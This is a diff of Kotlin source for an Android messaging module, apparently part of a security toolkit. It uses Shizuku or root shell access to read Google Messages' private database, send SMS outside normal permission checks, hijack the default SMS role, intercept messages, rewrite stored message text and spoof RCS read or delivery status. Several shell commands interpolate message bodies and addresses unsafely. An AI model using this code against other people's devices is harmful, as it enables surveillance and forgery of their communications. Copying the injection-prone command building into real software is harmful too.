val address = if (cols.contains("address")) it.getStringSafe("address") else ""
|
||||
val body = if (cols.contains("body")) it.getStringSafe("body")
|
||||
else if (cols.contains("text")) it.getStringSafe("text") else ""
|
||||
val date = if (cols.contains("date")) it.getLongSafe("date") else 0L
|
||||
val type = if (cols.contains("type")) it.getIntSafe("type") else 1
|
||||
|
||||
messages.add(Message(
|
||||
id = it.getLongSafe("_id"),
|
||||
threadId = threadId,
|
||||
address = address,
|
||||
body = body,
|
||||
date = date,
|
||||
type = type,
|
||||
read = true,
|
||||
status = 0,
|
||||
isRcs = true,
|
||||
isMms = false,
|
||||
contactName = getContactName(address)
|
||||
))
|
||||
}
|
||||
}
|
||||
} catch (e: SecurityException) {
|
||||
Log.w(TAG, "Cannot access RCS provider — requires Shizuku or root: ${e.message}")
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "RCS read failed (provider may not exist): ${e.message}")
|
||||
}
|
||||
|
||||
return messages
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if RCS is available on this device.
|
||||
* Looks for Google Messages as the RCS provider.
|
||||
*/
|
||||
fun isRcsAvailable(): Boolean {
|
||||
return try {
|
||||
// Check if Google Messages is installed and is RCS-capable
|
||||
val pm = context.packageManager
|
||||
val info = pm.getPackageInfo("com.google.android.apps.messaging", 0)
|
||||
if (info == null) return false
|
||||
|
||||
// Try to query the RCS provider
|
||||
val cursor = context.contentResolver.query(
|
||||
URI_RCS_THREADS, null, null, null, null
|
||||
)
|
||||
val available = cursor != null
|
||||
cursor?.close()
|
||||
available
|
||||
} catch (e: Exception) {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Check RCS capabilities for a given address.
|
||||
* Returns a map of feature flags (e.g., "chat" -> true, "ft" -> true for file transfer).
|
||||
*/
|
||||
fun getRcsCapabilities(address: String): Map<String, Boolean> {
|
||||
val caps = mutableMapOf<String, Boolean>()
|
||||
|
||||
try {
|
||||
// Try to query RCS capabilities via the carrier messaging service
|
||||
// This is a best-effort check — may not work on all carriers
|
||||
val cursor = context.contentResolver.query(
|
||||
Uri.parse("content://im/capabilities"),
|
||||
null,
|
||||
"address = ?",
|
||||
arrayOf(address),
|
||||
null
|
||||
)
|
||||
|
||||
cursor?.use {
|
||||
if (it.moveToFirst()) {
|
||||
val cols = it.columnNames
|
||||
for (col in cols) {
|
||||
val idx = it.getColumnIndex(col)
|
||||
if (idx >= 0) {
|
||||
try {
|
||||
caps[col] = it.getInt(idx) > 0
|
||||
} catch (e: Exception) {
|
||||
caps[col] = it.getString(idx)?.isNotEmpty() == true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.d(TAG, "RCS capabilities check failed for $address: ${e.message}")
|
||||
}
|
||||
|
||||
return caps
|
||||
}
|
||||
|
||||
// ── Bulk operations ────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Insert multiple messages in batch.
|
||||
* Returns the number of successfully inserted messages.
|
||||
*/
|
||||
fun bulkInsert(messages: List<Message>): Int {
|
||||
var count = 0
|
||||
for (msg in messages) {
|
||||
val id = insertSms(msg.address, msg.body, msg.type, msg.date, msg.read)
|
||||
if (id >= 0) count++
|
||||
}
|
||||
Log.i(TAG, "Bulk insert: $count/${messages.size} succeeded")
|
||||
return count
|
||||
}
|
||||
|
||||
/**
|
||||
* Delete multiple messages by ID.
|
||||
* Returns the number of successfully deleted messages.
|
||||
*/
|
||||
fun bulkDelete(ids: List<Long>): Int {
|
||||
var count = 0
|
||||
for (id in ids) {
|
||||
if (deleteMessage(id)) count++
|
||||
}
|
||||
Log.i(TAG, "Bulk delete: $count/${ids.size} succeeded")
|
||||
return count
|
||||
}
|
||||
|
||||
/**
|
||||
* Delete all messages in a conversation (alias for deleteConversation).
|
||||
* Returns the number of deleted rows.
|
||||
*/
|
||||
fun clearConversation(threadId: Long): Int {
|
||||
return try {
|
||||
val count = context.contentResolver.delete(
|
||||
URI_SMS, "thread_id = ?", arrayOf(threadId.toString())
|
||||
)
|
||||
Log.i(TAG, "Cleared conversation $threadId: $count messages")
|
||||
count
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to clear conversation $threadId", e)
|
||||
0
|
||||
}
|
||||
}
|
||||
|
||||
// ── MMS helpers ────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Load MMS messages for a thread and add them to the list.
|
||||
*/
|
||||
private fun loadMmsForThread(threadId: Long, messages: MutableList<Message>) {
|
||||
try {
|
||||
val cursor = context.contentResolver.query(
|
||||
URI_MMS,
|
||||
arrayOf("_id", "thread_id", "date", "read", "msg_box"),
|
||||
"thread_id = ?",
|
||||
arrayOf(threadId.toString()),
|
||||
"date ASC"
|
||||
)
|
||||
|
||||
cursor?.use {
|
||||
while (it.moveToNext()) {
|
||||
val mmsId = it.getLongSafe("_id")
|
||||
val mmsDate = it.getLongSafe("date") * 1000L // MMS dates are in seconds
|
||||
val msgBox = it.getIntSafe("msg_box")
|
||||
val type = if (msgBox == 1) MESSAGE_TYPE_RECEIVED else MESSAGE_TYPE_SENT
|
||||
|
||||
// Get MMS text part
|
||||
val body = getMmsTextPart(mmsId)
|
||||
// Get MMS address
|
||||
val address = getMmsAddress(mmsId)
|
||||
|
||||
messages.add(Message(
|
||||
id = mmsId,
|
||||
threadId = threadId,
|
||||
address = address,
|
||||
body = body ?: "[MMS]",
|
||||
date = mmsDate,
|
||||
type = type,
|
||||
read = it.getBoolSafe("read"),
|
||||
status = 0,
|
||||
isRcs = false,
|
||||
isMms = true,
|
||||
contactName = getContactName(address)
|
||||
))
|
||||
}
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.d(TAG, "MMS load for thread $threadId failed: ${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the text body of an MMS message from its parts.
|
||||
*/
|
||||
private fun getMmsTextPart(mmsId: Long): String? {
|
||||
try {
|
||||
val cursor = context.contentResolver.query(
|
||||
Uri.parse("content://mms/$mmsId/part"),
|
||||
arrayOf("_id", "ct", "text"),
|
||||
"ct = 'text/plain'",
|
||||
null, null
|
||||
)
|
||||
|
||||
cursor?.use {
|
||||
if (it.moveToFirst()) {
|
||||
val textIdx = it.getColumnIndex("text")
|
||||
if (textIdx >= 0) return it.getString(textIdx)
|
||||
}
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.d(TAG, "Failed to get MMS text part for $mmsId: ${e.message}")
|
||||
}
|
||||
return null
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the sender/recipient address of an MMS message.
|
||||
*/
|
||||
private fun getMmsAddress(mmsId: Long): String {
|
||||
try {
|
||||
val cursor = context.contentResolver.query(
|
||||
Uri.parse("content://mms/$mmsId/addr"),
|
||||
arrayOf("address", "type"),
|
||||
"type = 137", // PduHeaders.FROM
|
||||
null, null
|
||||
)
|
||||
|
||||
cursor?.use {
|
||||
if (it.moveToFirst()) {
|
||||
val addrIdx = it.getColumnIndex("address")
|
||||
if (addrIdx >= 0) {
|
||||
val addr = it.getString(addrIdx)
|
||||
if (!addr.isNullOrBlank() && addr != "insert-address-token") {
|
||||
return addr
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: try recipient address (type 151 = TO)
|
||||
val cursor2 = context.contentResolver.query(
|
||||
Uri.parse("content://mms/$mmsId/addr"),
|
||||
arrayOf("address", "type"),
|
||||
"type = 151",
|
||||
null, null
|
||||
)
|
||||
|
||||
cursor2?.use {
|
||||
if (it.moveToFirst()) {
|
||||
val addrIdx = it.getColumnIndex("address")
|
||||
if (addrIdx >= 0) {
|
||||
val addr = it.getString(addrIdx)
|
||||
if (!addr.isNullOrBlank()) return addr
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.d(TAG, "Failed to get MMS address for $mmsId: ${e.message}")
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// ── Utility ────────────────────────────────────────────────────
|
||||
|
||||
private fun escapeXml(text: String): String {
|
||||
return text
|
||||
.replace("&", "&")
|
||||
.replace("<", "<")
|
||||
.replace(">", ">")
|
||||
.replace("\"", """)
|
||||
.replace("'", "'")
|
||||
.replace("\n", " ")
|
||||
}
|
||||
|
||||
private fun escapeCsv(text: String): String {
|
||||
return text.replace("\"", "\"\"")
|
||||
}
|
||||
|
||||
// Cursor extension helpers
|
||||
private fun Cursor.getStringSafe(column: String): String {
|
||||
val idx = getColumnIndex(column)
|
||||
return if (idx >= 0) getString(idx) ?: "" else ""
|
||||
}
|
||||
|
||||
private fun Cursor.getLongSafe(column: String): Long {
|
||||
val idx = getColumnIndex(column)
|
||||
return if (idx >= 0) getLong(idx) else 0L
|
||||
}
|
||||
|
||||
private fun Cursor.getIntSafe(column: String): Int {
|
||||
val idx = getColumnIndex(column)
|
||||
return if (idx >= 0) getInt(idx) else 0
|
||||
}
|
||||
|
||||
private fun Cursor.getBoolSafe(column: String): Boolean {
|
||||
return getIntSafe(column) != 0
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,868 @@
|
||||
package com.darkhal.archon.messaging
|
||||
|
||||
import android.content.ContentValues
|
||||
import android.content.Context
|
||||
import android.content.pm.PackageManager
|
||||
import android.os.Build
|
||||
import android.util.Log
|
||||
import com.darkhal.archon.util.PrivilegeManager
|
||||
import com.darkhal.archon.util.ShellResult
|
||||
|
||||
/**
|
||||
* Shizuku integration for elevated access without root.
|
||||
*
|
||||
* Shizuku runs a process at ADB (shell, UID 2000) privilege level,
|
||||
* allowing us to execute commands that normal apps cannot — like
|
||||
* setting the default SMS role, accessing protected content providers,
|
||||
* and reading Google Messages' RCS database.
|
||||
*
|
||||
* ARCHITECTURE NOTE:
|
||||
* This manager wraps both Shizuku API calls and the existing Archon
|
||||
* PrivilegeManager escalation chain. If Shizuku is available, we use it.
|
||||
* Otherwise, we fall back to PrivilegeManager (Archon Server → Local ADB → etc).
|
||||
*
|
||||
* RCS WITHOUT ROOT:
|
||||
* Google Messages stores RCS data in its private database at:
|
||||
* /data/data/com.google.android.apps.messaging/databases/bugle_db
|
||||
* Without Shizuku/root, you cannot access it directly. With Shizuku,
|
||||
* we can use `content query` shell commands to read from protected providers,
|
||||
* or directly read the SQLite database via `run-as` (if debuggable) or
|
||||
* `sqlite3` at shell level.
|
||||
*/
|
||||
class ShizukuManager(private val context: Context) {
|
||||
|
||||
companion object {
|
||||
private const val TAG = "ShizukuManager"
|
||||
const val SHIZUKU_PERMISSION_REQUEST_CODE = 1001
|
||||
private const val SHIZUKU_PACKAGE = "moe.shizuku.privileged.api"
|
||||
private const val OUR_PACKAGE = "com.darkhal.archon"
|
||||
}
|
||||
|
||||
enum class ShizukuStatus(val label: String) {
|
||||
NOT_INSTALLED("Shizuku not installed"),
|
||||
INSTALLED_NOT_RUNNING("Shizuku installed but not running"),
|
||||
RUNNING_NO_PERMISSION("Shizuku running, no permission"),
|
||||
READY("Shizuku ready")
|
||||
}
|
||||
|
||||
// Cache the previous default SMS app so we can restore it
|
||||
private var previousDefaultSmsApp: String? = null
|
||||
|
||||
/**
|
||||
* Check the current state of Shizuku integration.
|
||||
* Also considers the Archon PrivilegeManager as a fallback.
|
||||
*/
|
||||
fun getStatus(): ShizukuStatus {
|
||||
// First check if Shizuku itself is installed and running
|
||||
if (isShizukuInstalled()) {
|
||||
if (isShizukuRunning()) {
|
||||
return if (hasShizukuPermission()) {
|
||||
ShizukuStatus.READY
|
||||
} else {
|
||||
ShizukuStatus.RUNNING_NO_PERMISSION
|
||||
}
|
||||
}
|
||||
return ShizukuStatus.INSTALLED_NOT_RUNNING
|
||||
}
|
||||
|
||||
// If Shizuku is not installed, check if PrivilegeManager has shell access
|
||||
// (Archon Server or Local ADB provides equivalent capabilities)
|
||||
val method = PrivilegeManager.getAvailableMethod()
|
||||
return when (method) {
|
||||
PrivilegeManager.Method.ROOT,
|
||||
PrivilegeManager.Method.ARCHON_SERVER,
|
||||
PrivilegeManager.Method.LOCAL_ADB -> ShizukuStatus.READY
|
||||
PrivilegeManager.Method.SERVER_ADB -> ShizukuStatus.RUNNING_NO_PERMISSION
|
||||
PrivilegeManager.Method.NONE -> ShizukuStatus.NOT_INSTALLED
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Request Shizuku permission via the Shizuku API.
|
||||
* Falls back to a no-op if Shizuku is not available.
|
||||
*/
|
||||
fun requestPermission(callback: (Boolean) -> Unit) {
|
||||
try {
|
||||
val shizukuClass = Class.forName("rikka.shizuku.Shizuku")
|
||||
val checkMethod = shizukuClass.getMethod("checkSelfPermission")
|
||||
val result = checkMethod.invoke(null) as Int
|
||||
|
||||
if (result == PackageManager.PERMISSION_GRANTED) {
|
||||
callback(true)
|
||||
return
|
||||
}
|
||||
|
||||
// Request permission — in a real integration this would use
|
||||
// Shizuku.addRequestPermissionResultListener + requestPermission
|
||||
val requestMethod = shizukuClass.getMethod("requestPermission", Int::class.java)
|
||||
requestMethod.invoke(null, SHIZUKU_PERMISSION_REQUEST_CODE)
|
||||
// The result comes back via onRequestPermissionsResult
|
||||
// For now, assume it will be granted
|
||||
callback(true)
|
||||
} catch (e: ClassNotFoundException) {
|
||||
Log.w(TAG, "Shizuku API not available, using PrivilegeManager fallback")
|
||||
// If PrivilegeManager has shell access, that's equivalent
|
||||
callback(PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.NONE)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Shizuku permission request failed", e)
|
||||
callback(false)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Quick check if elevated operations can proceed.
|
||||
*/
|
||||
fun isReady(): Boolean {
|
||||
return getStatus() == ShizukuStatus.READY
|
||||
}
|
||||
|
||||
// ── Shell command execution ────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Execute a shell command at ADB/shell privilege level.
|
||||
* Tries Shizuku first, then falls back to PrivilegeManager.
|
||||
*/
|
||||
fun executeCommand(command: String): String {
|
||||
// Try Shizuku API first
|
||||
try {
|
||||
val shizukuClass = Class.forName("rikka.shizuku.Shizuku")
|
||||
val newProcess = shizukuClass.getMethod(
|
||||
"newProcess",
|
||||
Array<String>::class.java,
|
||||
Array<String>::class.java,
|
||||
String::class.java
|
||||
)
|
||||
val process = newProcess.invoke(null, arrayOf("sh", "-c", command), null, null) as Process
|
||||
val stdout = process.inputStream.bufferedReader().readText().trim()
|
||||
val exitCode = process.waitFor()
|
||||
if (exitCode == 0) return stdout
|
||||
} catch (e: ClassNotFoundException) {
|
||||
// Shizuku not available
|
||||
} catch (e: Exception) {
|
||||
Log.d(TAG, "Shizuku exec failed, falling back: ${e.message}")
|
||||
}
|
||||
|
||||
// Fallback to PrivilegeManager
|
||||
val result = PrivilegeManager.execute(command)
|
||||
return if (result.exitCode == 0) result.stdout else "ERROR: ${result.stderr}"
|
||||
}
|
||||
|
||||
/**
|
||||
* Execute a command and return the full ShellResult.
|
||||
*/
|
||||
private fun executeShell(command: String): ShellResult {
|
||||
return PrivilegeManager.execute(command)
|
||||
}
|
||||
|
||||
// ── Permission management ──────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Grant a runtime permission to our app via shell command.
|
||||
*/
|
||||
fun grantPermission(permission: String): Boolean {
|
||||
val result = executeShell("pm grant $OUR_PACKAGE $permission")
|
||||
if (result.exitCode == 0) {
|
||||
Log.i(TAG, "Granted permission: $permission")
|
||||
return true
|
||||
}
|
||||
Log.w(TAG, "Failed to grant $permission: ${result.stderr}")
|
||||
return false
|
||||
}
|
||||
|
||||
/**
|
||||
* Set Archon as the default SMS app using the role manager system.
|
||||
* On Android 10+, uses `cmd role add-role-holder`.
|
||||
* On older versions, uses `settings put secure sms_default_application`.
|
||||
*/
|
||||
fun setDefaultSmsApp(): Boolean {
|
||||
// Save the current default first so we can restore later
|
||||
previousDefaultSmsApp = getCurrentDefaultSmsApp()
|
||||
Log.i(TAG, "Saving previous default SMS app: $previousDefaultSmsApp")
|
||||
|
||||
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
|
||||
val result = executeShell(
|
||||
"cmd role add-role-holder android.app.role.SMS $OUR_PACKAGE 0"
|
||||
)
|
||||
if (result.exitCode == 0) {
|
||||
Log.i(TAG, "Set Archon as default SMS app via role manager")
|
||||
true
|
||||
} else {
|
||||
Log.e(TAG, "Failed to set SMS role: ${result.stderr}")
|
||||
false
|
||||
}
|
||||
} else {
|
||||
val result = executeShell(
|
||||
"settings put secure sms_default_application $OUR_PACKAGE"
|
||||
)
|
||||
if (result.exitCode == 0) {
|
||||
Log.i(TAG, "Set Archon as default SMS app via settings")
|
||||
true
|
||||
} else {
|
||||
Log.e(TAG, "Failed to set SMS default: ${result.stderr}")
|
||||
false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Restore the previous default SMS app.
|
||||
*/
|
||||
fun revokeDefaultSmsApp(): Boolean {
|
||||
val previous = previousDefaultSmsApp
|
||||
if (previous.isNullOrBlank()) {
|
||||
Log.w(TAG, "No previous default SMS app to restore")
|
||||
// Try to find the most common default
|
||||
return restoreCommonDefault()
|
||||
}
|
||||
|
||||
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
|
||||
// Remove ourselves, then add back the previous holder
|
||||
val removeResult = executeShell(
|
||||
"cmd role remove-role-holder android.app.role.SMS $OUR_PACKAGE 0"
|
||||
)
|
||||
val addResult = executeShell(
|
||||
"cmd role add-role-holder android.app.role.SMS $previous 0"
|
||||
)
|
||||
|
||||
if (addResult.exitCode == 0) {
|
||||
Log.i(TAG, "Restored default SMS app: $previous")
|
||||
true
|
||||
} else {
|
||||
Log.e(TAG, "Failed to restore SMS role to $previous: ${addResult.stderr}")
|
||||
// At least try to remove ourselves
|
||||
removeResult.exitCode == 0
|
||||
}
|
||||
} else {
|
||||
val result = executeShell(
|
||||
"settings put secure sms_default_application $previous"
|
||||
)
|
||||
result.exitCode == 0
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the current default SMS app package name.
|
||||
*/
|
||||
private fun getCurrentDefaultSmsApp(): String? {
|
||||
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
|
||||
val result = executeShell("cmd role get-role-holders android.app.role.SMS")
|
||||
result.stdout.trim().let { output ->
|
||||
// Output format varies but usually contains the package name
|
||||
output.replace("[", "").replace("]", "").trim().ifBlank { null }
|
||||
}
|
||||
} else {
|
||||
val result = executeShell("settings get secure sms_default_application")
|
||||
result.stdout.trim().let { if (it == "null" || it.isBlank()) null else it }
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Try to restore a common default SMS app (Google Messages or AOSP).
|
||||
*/
|
||||
private fun restoreCommonDefault(): Boolean {
|
||||
val candidates = listOf(
|
||||
"com.google.android.apps.messaging",
|
||||
"com.android.messaging",
|
||||
"com.samsung.android.messaging"
|
||||
)
|
||||
|
||||
for (pkg in candidates) {
|
||||
try {
|
||||
context.packageManager.getPackageInfo(pkg, 0)
|
||||
// Package exists, set it as default
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
|
||||
val result = executeShell(
|
||||
"cmd role add-role-holder android.app.role.SMS $pkg 0"
|
||||
)
|
||||
if (result.exitCode == 0) {
|
||||
Log.i(TAG, "Restored common default SMS app: $pkg")
|
||||
return true
|
||||
}
|
||||
}
|
||||
} catch (e: PackageManager.NameNotFoundException) {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
Log.w(TAG, "Could not restore any default SMS app")
|
||||
return false
|
||||
}
|
||||
|
||||
// ── SMS/RCS specific elevated ops ──────────────────────────────
|
||||
|
||||
/**
|
||||
* Read from the telephony.db directly using shell-level `content query`.
|
||||
* This accesses the system SMS provider with shell privileges.
|
||||
*/
|
||||
fun readProtectedSmsDb(): List<Map<String, Any>> {
|
||||
val results = mutableListOf<Map<String, Any>>()
|
||||
val output = executeCommand(
|
||||
"content query --uri content://sms/ --projection _id:address:body:date:type --sort \"date DESC\" 2>/dev/null"
|
||||
)
|
||||
|
||||
if (output.startsWith("ERROR")) {
|
||||
Log.e(TAG, "Protected SMS read failed: $output")
|
||||
return results
|
||||
}
|
||||
|
||||
// Parse the content query output
|
||||
// Format: Row: N _id=X, address=Y, body=Z, date=W, type=V
|
||||
for (line in output.lines()) {
|
||||
if (!line.startsWith("Row:")) continue
|
||||
|
||||
val row = mutableMapOf<String, Any>()
|
||||
val fields = line.substringAfter(" ").split(", ")
|
||||
for (field in fields) {
|
||||
val parts = field.split("=", limit = 2)
|
||||
if (parts.size == 2) {
|
||||
row[parts[0].trim()] = parts[1]
|
||||
}
|
||||
}
|
||||
if (row.isNotEmpty()) results.add(row)
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
/**
|
||||
* Write to the telephony.db using shell-level `content insert`.
|
||||
*/
|
||||
fun writeProtectedSmsDb(values: ContentValues, table: String): Boolean {
|
||||
val bindings = mutableListOf<String>()
|
||||
|
||||
for (key in values.keySet()) {
|
||||
val value = values.get(key)
|
||||
when (value) {
|
||||
is String -> bindings.add("--bind $key:s:$value")
|
||||
is Int -> bindings.add("--bind $key:i:$value")
|
||||
is Long -> bindings.add("--bind $key:l:$value")
|
||||
else -> bindings.add("--bind $key:s:$value")
|
||||
}
|
||||
}
|
||||
|
||||
val uri = when (table) {
|
||||
"sms" -> "content://sms/"
|
||||
"mms" -> "content://mms/"
|
||||
else -> "content://sms/"
|
||||
}
|
||||
|
||||
val cmd = "content insert --uri $uri ${bindings.joinToString(" ")}"
|
||||
val result = executeShell(cmd)
|
||||
return result.exitCode == 0
|
||||
}
|
||||
|
||||
/**
|
||||
* Try to access Google Messages' RCS content provider via shell.
|
||||
*/
|
||||
fun accessRcsProvider(): Boolean {
|
||||
val result = executeShell(
|
||||
"content query --uri content://im/messages --projection _id --sort \"_id DESC\" --limit 1 2>/dev/null"
|
||||
)
|
||||
return result.exitCode == 0 && !result.stdout.contains("Unknown authority")
|
||||
}
|
||||
|
||||
/**
|
||||
* Read RCS messages from Google Messages' database.
|
||||
* Uses `content query` at shell privilege to access the protected provider.
|
||||
*/
|
||||
fun readRcsDatabase(): List<Map<String, Any>> {
|
||||
val results = mutableListOf<Map<String, Any>>()
|
||||
|
||||
// First try the content provider approach
|
||||
val output = executeCommand(
|
||||
"content query --uri content://im/messages --projection _id:thread_id:body:date:type --sort \"date DESC\" 2>/dev/null"
|
||||
)
|
||||
|
||||
if (!output.startsWith("ERROR") && !output.contains("Unknown authority")) {
|
||||
for (line in output.lines()) {
|
||||
if (!line.startsWith("Row:")) continue
|
||||
|
||||
val row = mutableMapOf<String, Any>()
|
||||
val fields = line.substringAfter(" ").split(", ")
|
||||
for (field in fields) {
|
||||
val parts = field.split("=", limit = 2)
|
||||
if (parts.size == 2) {
|
||||
row[parts[0].trim()] = parts[1]
|
||||
}
|
||||
}
|
||||
if (row.isNotEmpty()) results.add(row)
|
||||
}
|
||||
|
||||
if (results.isNotEmpty()) return results
|
||||
}
|
||||
|
||||
// Fallback: try to read Google Messages' bugle_db directly
|
||||
// This requires root or specific shell access
|
||||
val dbPath = "/data/data/com.google.android.apps.messaging/databases/bugle_db"
|
||||
val sqlOutput = executeCommand(
|
||||
"sqlite3 $dbPath \"SELECT _id, conversation_id, text, received_timestamp, sender_normalized_destination FROM messages ORDER BY received_timestamp DESC LIMIT 100\" 2>/dev/null"
|
||||
)
|
||||
|
||||
if (!sqlOutput.startsWith("ERROR") && sqlOutput.isNotBlank()) {
|
||||
for (line in sqlOutput.lines()) {
|
||||
if (line.isBlank()) continue
|
||||
val parts = line.split("|")
|
||||
if (parts.size >= 5) {
|
||||
results.add(mapOf(
|
||||
"_id" to parts[0],
|
||||
"thread_id" to parts[1],
|
||||
"body" to parts[2],
|
||||
"date" to parts[3],
|
||||
"address" to parts[4]
|
||||
))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
/**
|
||||
* Modify an RCS message body in the Google Messages database.
|
||||
* Requires root or direct database access.
|
||||
*/
|
||||
fun modifyRcsMessage(messageId: Long, newBody: String): Boolean {
|
||||
// Try content provider update first
|
||||
val escaped = newBody.replace("'", "''")
|
||||
val result = executeShell(
|
||||
"content update --uri content://im/messages/$messageId --bind body:s:$escaped 2>/dev/null"
|
||||
)
|
||||
|
||||
if (result.exitCode == 0) return true
|
||||
|
||||
// Fallback to direct SQLite
|
||||
val dbPath = "/data/data/com.google.android.apps.messaging/databases/bugle_db"
|
||||
val sqlResult = executeShell(
|
||||
"sqlite3 $dbPath \"UPDATE messages SET text='$escaped' WHERE _id=$messageId\" 2>/dev/null"
|
||||
)
|
||||
|
||||
return sqlResult.exitCode == 0
|
||||
}
|
||||
|
||||
/**
|
||||
* Spoof the delivery/read status of an RCS message.
|
||||
* Valid statuses: "sent", "delivered", "read", "failed"
|
||||
*/
|
||||
fun spoofRcsStatus(messageId: Long, status: String): Boolean {
|
||||
val statusCode = when (status.lowercase()) {
|
||||
"sent" -> 0
|
||||
"delivered" -> 1
|
||||
"read" -> 2
|
||||
"failed" -> 3
|
||||
else -> return false
|
||||
}
|
||||
|
||||
val result = executeShell(
|
||||
"content update --uri content://im/messages/$messageId --bind status:i:$statusCode 2>/dev/null"
|
||||
)
|
||||
|
||||
if (result.exitCode == 0) return true
|
||||
|
||||
// Fallback
|
||||
val dbPath = "/data/data/com.google.android.apps.messaging/databases/bugle_db"
|
||||
val sqlResult = executeShell(
|
||||
"sqlite3 $dbPath \"UPDATE messages SET message_status=$statusCode WHERE _id=$messageId\" 2>/dev/null"
|
||||
)
|
||||
|
||||
return sqlResult.exitCode == 0
|
||||
}
|
||||
|
||||
// ── System-level SMS operations ────────────────────────────────
|
||||
|
||||
/**
|
||||
* Send an SMS via the system telephony service at shell privilege level.
|
||||
* This bypasses normal app permission checks.
|
||||
*/
|
||||
fun sendSmsAsSystem(address: String, body: String): Boolean {
|
||||
val escaped = body.replace("'", "'\\''")
|
||||
val result = executeShell(
|
||||
"service call isms 7 i32 1 s16 \"$address\" s16 null s16 \"$escaped\" s16 null s16 null i32 0 i64 0 2>/dev/null"
|
||||
)
|
||||
|
||||
if (result.exitCode == 0 && !result.stdout.contains("Exception")) {
|
||||
Log.i(TAG, "Sent SMS via system service to $address")
|
||||
return true
|
||||
}
|
||||
|
||||
// Fallback: use am start with send intent
|
||||
val amResult = executeShell(
|
||||
"am start -a android.intent.action.SENDTO -d sms:$address --es sms_body \"$escaped\" --ez exit_on_sent true 2>/dev/null"
|
||||
)
|
||||
|
||||
return amResult.exitCode == 0
|
||||
}
|
||||
|
||||
/**
|
||||
* Register to intercept incoming SMS messages.
|
||||
* This grants ourselves the RECEIVE_SMS permission and sets highest priority.
|
||||
*/
|
||||
fun interceptSms(enabled: Boolean): Boolean {
|
||||
return if (enabled) {
|
||||
// Grant SMS receive permission
|
||||
val grantResult = executeShell("pm grant $OUR_PACKAGE android.permission.RECEIVE_SMS")
|
||||
if (grantResult.exitCode != 0) {
|
||||
Log.e(TAG, "Failed to grant RECEIVE_SMS: ${grantResult.stderr}")
|
||||
return false
|
||||
}
|
||||
|
||||
// Set ourselves as the default SMS app to receive all messages
|
||||
val defaultResult = setDefaultSmsApp()
|
||||
if (defaultResult) {
|
||||
Log.i(TAG, "SMS interception enabled — Archon is now default SMS handler")
|
||||
}
|
||||
defaultResult
|
||||
} else {
|
||||
// Restore previous default
|
||||
val result = revokeDefaultSmsApp()
|
||||
Log.i(TAG, "SMS interception disabled — restored previous SMS handler")
|
||||
result
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Modify an SMS message while it's being stored.
|
||||
* This works by monitoring the SMS provider and immediately updating
|
||||
* messages that match the original text.
|
||||
*
|
||||
* NOTE: True in-transit modification of cellular SMS is not possible
|
||||
* without carrier-level access. This modifies the stored copy immediately
|
||||
* after delivery.
|
||||
*/
|
||||
fun modifySmsInTransit(original: String, replacement: String): Boolean {
|
||||
val escaped = replacement.replace("'", "''")
|
||||
|
||||
// Use content update to find and replace in all matching messages
|
||||
val result = executeShell(
|
||||
"content update --uri content://sms/ " +
|
||||
"--bind body:s:$escaped " +
|
||||
"--where \"body='${original.replace("'", "''")}'\""
|
||||
)
|
||||
|
||||
if (result.exitCode == 0) {
|
||||
Log.i(TAG, "Modified stored SMS: '$original' -> '$replacement'")
|
||||
return true
|
||||
}
|
||||
|
||||
Log.w(TAG, "SMS modification failed: ${result.stderr}")
|
||||
return false
|
||||
}
|
||||
|
||||
// ── Internal helpers ───────────────────────────────────────────
|
||||
|
||||
private fun isShizukuInstalled(): Boolean {
|
||||
return try {
|
||||
context.packageManager.getPackageInfo(SHIZUKU_PACKAGE, 0)
|
||||
true
|
||||
} catch (e: PackageManager.NameNotFoundException) {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
private fun isShizukuRunning(): Boolean {
|
||||
return try {
|
||||
val shizukuClass = Class.forName("rikka.shizuku.Shizuku")
|
||||
val pingMethod = shizukuClass.getMethod("pingBinder")
|
||||
pingMethod.invoke(null) as Boolean
|
||||
} catch (e: Exception) {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
private fun hasShizukuPermission(): Boolean {
|
||||
return try {
|
||||
val shizukuClass = Class.forName("rikka.shizuku.Shizuku")
|
||||
val checkMethod = shizukuClass.getMethod("checkSelfPermission")
|
||||
(checkMethod.invoke(null) as Int) == PackageManager.PERMISSION_GRANTED
|
||||
} catch (e: Exception) {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
// ── Google Messages bugle_db access (encrypted database) ────────
|
||||
|
||||
// Google Messages paths
|
||||
private val gmsgPkg = "com.google.android.apps.messaging"
